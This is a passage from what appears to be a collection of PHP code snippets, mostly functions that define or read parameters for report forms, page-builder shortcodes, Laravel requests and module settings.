'of a field. The template text can contain fieldnames in braces, which will be replaced by the respective field values. '.\n 'Note that template columns cannot be sorted by clicking grid headers.\" }\n }\n }\n ]\n}',\n 'required' => false,\n 'group' => 'Report Settings'\n ),\n )\n );\n // @todo Set the default report name\n foreach ($r as &$param) {\n if ($param['name']==='report_name') {\n $param['default'] = 'library/occurrences/explore_list';\n $param['description'] .= '<br/>The report used must meet a set of criteria to be used for this form, as illustrated by the library/occurrences/explore_list '.\n 'report. The report should have the following columns:<br/>'.\n '<strong>belongs_to_user</strong> - a boolean indicating if the record belongs to (i.e. is editable by) the logged in user.<br/>'.\n '<strong>certainty</strong> - text output which identifies the certainty of the record if known. This is appended to the word '.\n 'certainty to make a class which is attached to the row HTML, allowing you to use CSS to style the row output. E.g. if the report '.\n 'outputs C in this column then the row HTML will have a class certaintyC.<br/>'.\n '<br/>The report should have the following parameters:<br/>'.\n '<strong>location_id</strong> - Warehouse ID of the user\\'s preferred recording location passed automatically from the user\\'s account. Only applied if own_locality is 1.<br/>'.\n '<strong>ownLocality</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the contents of the location identified by location_id.<br/>'.\n '<strong>taxon_groups</strong> Takes a comma separated list of taxon_group_ids as a string suitable for insertion into an SQL in (...) clause. '.\n 'Will be passed the user\\'s preferred species groups from their user account if the Easy Login feature is installed. Only applied if ownGroups is 1.<br/>'.\n '<strong>ownGroups</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the contents of the taxon groups identified by taxon_groups.<br/>'.\n '<strong>currentUser</strong> Warehouse User ID of the logged in user, used to filter records to their own data. Only applied if ownData is 1.<br/>'.\n '<strong>ownData</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the user\\'s own records.';\n }\n elseif ($param['name']==='param_presets')\n $param['default'] = \"smpattrs=\\noccattrs=\\nlocation_id={profile_location}\\ntaxon_groups={profile_taxon_groups}\\ncurrentUser={profile_indicia_user_id}\";\n elseif ($param['name']==='param_defaults')\n $param['default'] = \"idlist=\\nsearchArea=\";\n elseif ($param['name']==='standard_controls')\n $param['default'] = \"layerSwitcher\\npanZoomBar\";\n }\n return $r;\n }", "protected function defineParams() {\n return [\n 'state' => $this->state,\n 'rights' => $this->document->getRights(),\n 'config' => false,\n 'active' => false,\n ];\n }", "public function initializeArgumentsAndRender() {}", "public function initializeArgumentsAndRender() {}", "private function accessory_params() {\n return [\n 'name' => $this->params['name'],\n 'release_date' => date('Y-m-d', strtotime($this->params['release_date'])),\n 'description' => $this->params['description'],\n 'producer' => $this->params['producer'],\n 'console_id' => $this->params['console_id']\n ];\n }", "private function build_params() {\n\n\t\t\t$this->per_page = $this->request->get_param( 'per_page' ) ? $this->request->get_param( 'per_page' ) : (int) get_option( 'posts_per_page' );\n\t\t\t$this->page = $this->request->get_param( 'page' ) ? $this->request->get_param( 'page' ) : 1;\n\t\t}", "public function getDesignParams();", "function getParams()\n {\n global $id;\n global $mode;\n global $data_source;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id = $id;\n }\n if (isset($mode)) {\n $this->mode = $mode;\n }\n if (isset($data_source)) {\n $this->data_source = $data_source;\n }\n if (isset($view_mode)) {\n $this->view_mode = $view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode = $edit_mode;\n }\n if (isset($tab)) {\n $this->tab = $tab;\n }\n }", "public function parameters()\n\t{\n\t\treturn [\n\t\t\t'parent_id' => $this->input('parent_id'),\n\t\t\t'title' => $this->input('title'),\n\t\t\t'icon' => $this->input('icon'),\n\t\t\t'description' => $this->input('description'),\n\t\t\t'is_active' => $this->has('is_active')\n\t\t];\n\t}", "protected function generateParams()\n {\n $qty = Cart::count();\n\n $templatePart = $qty ? '_cart-content' : '_cart-empty';\n\n $html = view(\"website.cart.$templatePart\")->render();\n\n return compact('html', 'qty');\n }", "public static function get_parameters() {\n return array(array(\n 'name' => 'groups_page_path',\n 'caption' => 'Path to main groups page',\n 'description' => 'Path to the Drupal page which my groups are listed on.',\n 'type' => 'text_input'\n ), array(\n 'name' => 'group_home_path',\n 'caption' => 'Path to the group home page',\n 'description' => 'Path to the Drupal page which hosts group home pages.',\n 'type' => 'text_input',\n 'required'=>false\n ));\n }", "protected function parameters()\n {\n $column = array('data' => 0, 'name' => '', 'searchable' => true);\n\n $column['orderable'] = true;\n\n $column['search'] = array('value' => '', 'regex' => false);\n\n $data = array('draw' => 1, 'columns' => array());\n\n $data['order'] = array('column' => 0, 'dir' => 'asc');\n\n $data['start'] = 0;\n\n $data['length'] = 10;\n\n $data['search'] = $column['search'];\n\n $first = $second = $third = $column;\n\n $first['data'] = 1;\n\n $second['data'] = 2;\n\n $third['data'] = 3;\n\n $data['columns'] = array($column, $first, $second, $third);\n\n return $data;\n }", "function getParams()\n {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id = $id;\n }\n if (isset($mode)) {\n $this->mode = $mode;\n }\n if (isset($view_mode)) {\n $this->view_mode = $view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode = $edit_mode;\n }\n if (isset($tab)) {\n $this->tab = $tab;\n }\n }", "public static function get_parameters() {\n return array(array(\n 'name' => 'groups_page_path',\n 'caption' => 'Path to main groups page',\n 'description' => 'Path to the Drupal page which my groups are listed on.',\n 'type' => 'text_input'\n ), array(\n 'name' => 'group_home_path',\n 'caption' => 'Path to the group home page',\n 'description' => 'Path to the Drupal page which hosts group home pages.',\n 'type' => 'text_input'\n ));\n }", "public function indexAction()\n {\n \t\n \t$this->_helper->layout()->disableLayout();\n \t\n\t\t$this->params = $this->getRequest()->getParams();\n \n\t\t$this->view->params = $this->params;\n\t\t\n\t\tif(!isset($this->params['vizType']))\n\t\t{\n\t\t\t$this->view->vizType = 2;\n\t\t}\n\t\t\n\t\tif(isset($this->params['vizType']))\n\t\t{\n\t\t\t$this->view->vizType = $this->params['vizType'];\n\t\t}\n\n\t\tif(isset($this->params['vizEx']))\n\t\t{\n\t\t\t$this->view->vizEx = $this->params['vizEx'];\n\t\t}\n\n\t if(isset($this->params['vizQu']))\n\t\t{\n\t\t\t$this->view->vizQu = $this->params['vizQu'];\n\t\t}\n\t\t\n\t if(isset($this->params['vizVo']))\n\t\t{\n\t\t\t$this->view->vizVo = $this->params['vizVo'];\n\t\t}\n if(isset($this->params['vizMy']))\n\t\t{\n\t\t\t$this->view->vizMy = $this->params['vizMy'];\n\t\t}\n\t\t\n\t if(isset($this->params['vizCon']) && $this->params['vizCon']==1)\n\t\t{\n\t\t\t$this->view->vizCon = 1;\n\t\t} else {\n\t\t\t$this->view->vizCon = 0;\n\t\t}\n\t\t\n\t if(isset($this->params['conceptId']))\n\t\t{\n\t\t\t$this->view->conceptId = $this->params['conceptId'];\n\t\t} else {\n\t\t\t$this->view->conceptId = array();\n\t\t}\n\t if(isset($this->params['keyW']))\n\t\t{\n\t\t\t$this->view->keyW = $this->params['keyW'];\n\t\t} else {\n\t\t\t$this->view->keyW = \"\";\n\t\t}\n \tif(isset($this->params['valueAA']))\n\t\t{\n\t\t\t$this->view->valueAA = $this->params['valueAA'];\n\t\t} else {\n\t\t\t$this->view->valueAA = \"\";\n\t\t}\n \tif(isset($this->params['valueBB']))\n\t\t{\n\t\t\t$this->view->valueBB = $this->params['valueBB'];\n\t\t} else {\n\t\t\t$this->view->valueBB = \"1325350800\";\n\t\t}\n\t\t\n if(isset($this->params['vizDate']))\n\t\t{\n\t\t\t$this->view->vizDate = $this->params['vizDate'];\n\t\t} else {\n\t\t\t$this->view->vizDate = 0;\n\t\t}\n\t\t\n }", "public static function get_params() {\n\t\t\t$params = array(\n\t\t\t\t// General\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading',\n\t\t\t\t\t'value' => 'Sample Heading',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textarea_html',\n\t\t\t\t\t'holder' => 'div',\n\t\t\t\t\t'heading' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content',\n\t\t\t\t\t'value' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed faucibus feugiat convallis. Integer nec eros et risus condimentum tristique vel vitae arcu.',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Element ID', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'unique_id',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'unique_id' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Extra class name', 'total-theme-core' ),\n\t\t\t\t\t'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'classes',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_hover_animations',\n\t\t\t\t\t'heading' => esc_html__( 'Hover Animation', 'total-theme-core'),\n\t\t\t\t\t'param_name' => 'hover_animation',\n\t\t\t\t),\n\t\t\t\tvcex_vc_map_add_css_animation(),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Duration', 'total'),\n\t\t\t\t\t'param_name' => 'animation_duration',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Delay', 'total'),\n\t\t\t\t\t'param_name' => 'animation_delay',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\t// Style\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'style',\n\t\t\t\t\t'value' => array(\n\t\t\t\t\t\tesc_html__( 'Default', 'total-theme-core' ) => '',\n\t\t\t\t\t\tesc_html__( 'Plain', 'total-theme-core' ) => 'one',\n\t\t\t\t\t\tesc_html__( 'Boxed Rounded', 'total-theme-core' ) => 'two',\n\t\t\t\t\t\tesc_html__( 'Boxed Square', 'total-theme-core' ) => 'three',\n\t\t\t\t\t\tesc_html__( 'Outline', 'total-theme-core' ) => 'four',\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Shadow', 'total' ),\n\t\t\t\t\t'param_name' => 'shadow',\n\t\t\t\t\t'value' => vcex_shadow_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_alignments',\n\t\t\t\t\t'heading' => esc_html__( 'Text Align', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'text_align',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Padding', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'padding',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Background Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'background',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Border Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'border_color',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'four' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Border Radius', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'border_radius',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three', 'four' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Heading\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_color',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_select_buttons',\n\t\t\t\t\t'heading' => esc_html__( 'Tag', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_type',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t\t'std' => 'h2',\n\t\t\t\t\t'choices' => 'html_tag',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_family_select',\n\t\t\t\t\t'heading' => esc_html__( 'Font Family', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_font_family',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_weight',\n\t\t\t\t\t'heading' => esc_html__( 'Font Weight', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_weight',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_transforms',\n\t\t\t\t\t'heading' => esc_html__( 'Text Transform', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_transform',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'target' => 'font-size',\n\t\t\t\t\t'heading' => esc_html__( 'Font Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_size',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'font_size' ),\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_margin',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'margin' ),\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Letter Spacing', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_letter_spacing',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'letter_spacing' ),\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Content\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Top Spacing', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_top_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Background', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_background',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_color',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_margin',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'margin' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Padding', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_padding',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'padding' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'target' => 'font-size',\n\t\t\t\t\t'heading' => esc_html__( 'Font Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_font_size',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'font_size' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_weight',\n\t\t\t\t\t'heading' => esc_html__( 'Font Weight', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_font_weight',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Media\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Source', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image_source',\n\t\t\t\t\t'std' => 'media_library',\n\t\t\t\t\t'value' => array(\n\t\t\t\t\t\tesc_html__( 'Media Library', 'total-theme-core' ) => 'media_library',\n\t\t\t\t\t\tesc_html__( 'External', 'total-theme-core' ) => 'external',\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'attach_image',\n\t\t\t\t\t'heading' => esc_html__( 'Image', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image',\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'External Image URL', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'external_image',\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'external' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Alt', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image_alt',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image', 'not_empty' => true ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Video link', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'video',\n\t\t\t\t\t'description' => esc_html__( 'Enter in a video URL that is compatible with WordPress\\'s built-in oEmbed feature.', 'total-theme-core' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_select_buttons',\n\t\t\t\t\t'heading' => esc_html__( 'Image Style', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_style',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'choices' => array(\n\t\t\t\t\t\t'' => esc_html__( 'Auto', 'total-theme-core' ),\n\t\t\t\t\t\t'stretch' => esc_html__( 'Stretch', 'total-theme-core' ),\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_alignments',\n\t\t\t\t\t'heading' => esc_html__( 'Align', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_align',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Border Radius', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_border_radius',\n\t\t\t\t\t'value' => vcex_border_radius_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_sizes',\n\t\t\t\t\t'heading' => esc_html__( 'Image Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_size',\n\t\t\t\t\t'std' => 'wpex_custom',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_crop_locations',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Location', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_crop',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Width', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_width',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_height',\n\t\t\t\t\t'description' => esc_html__( 'Leave empty to disable vertical cropping and keep image proportions.', 'total-theme-core' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_filters',\n\t\t\t\t\t'heading' => esc_html__( 'Image Filter', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_filter',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_hovers',\n\t\t\t\t\t'heading' => esc_html__( 'CSS3 Image Hover', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_hover_style',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Link\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vc_link',\n\t\t\t\t\t'heading' => esc_html__( 'URL', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'url',\n\t\t\t\t\t'group' => esc_html__( 'Link', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_ofswitch',\n\t\t\t\t\t'heading' => esc_html__( 'Local Scroll', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'url_local_scroll',\n\t\t\t\t\t'group' => esc_html__( 'Link', 'total-theme-core' ),\n\t\t\t\t\t'std' => 'false',\n\t\t\t\t),\n\t\t\t\t// CSS\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'css_editor',\n\t\t\t\t\t'heading' => esc_html__( 'CSS box', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'css',\n\t\t\t\t\t'group' => esc_html__( 'CSS', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_teaser' );\n\n\t\t}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "public function request_export_fields()\n {\n $academic_year = isset($_GET['academic_year']) ? $_GET['academic_year'] : null;\n $degree = isset($_GET['degree']) ? $_GET['degree'] : null;\n $grade = isset($_GET['grade']) ? $_GET['grade'] : null;\n $department = isset($_GET['department']) ? $_GET['department'] : null;\n $gender = isset($_GET['gender']) ? $_GET['gender'] : null;\n $option = isset($_GET['option']) ? $_GET['option'] : null;\n $origin = isset($_GET['origin']) ? $_GET['origin'] : null;\n $semester = isset($_GET['semester']) ? $_GET['semester'] : null;\n $redouble = isset($_GET['redouble']) ? $_GET['redouble'] : null;\n $group = isset($_GET['group']) ? $_GET['group'] : null;\n $radie = isset($_GET['radie']) ? $_GET['radie'] : null;\n // else, from custom list\n\n $student_ids = isset($_GET['student_ids']) ? $_GET['student_ids'] : null;\n\n return view('backend.studentAnnual.popup_export', compact('academic_year', 'department', 'degree', 'grade', 'gender', 'option', 'origin', 'student_ids', 'semester', 'group', 'radie', 'redouble'));\n }", "public function index()\n {\n return view('user_parameters')->with('user', Auth::user());\n }", "public function getParameters() {\r\n $paramArray = array(\r\n 'optionsName' => $this->optionsName,\r\n 'userName' => $this->userName,\r\n 'isActive' => $this->isActive,\r\n 'activeMeasurement' => $this->activeMeasurement,\r\n 'bloodPressureUnits' => $this->bloodPressureUnits,\r\n 'calorieUnits' => $this->calorieUnits,\r\n 'exerciseUnits' => 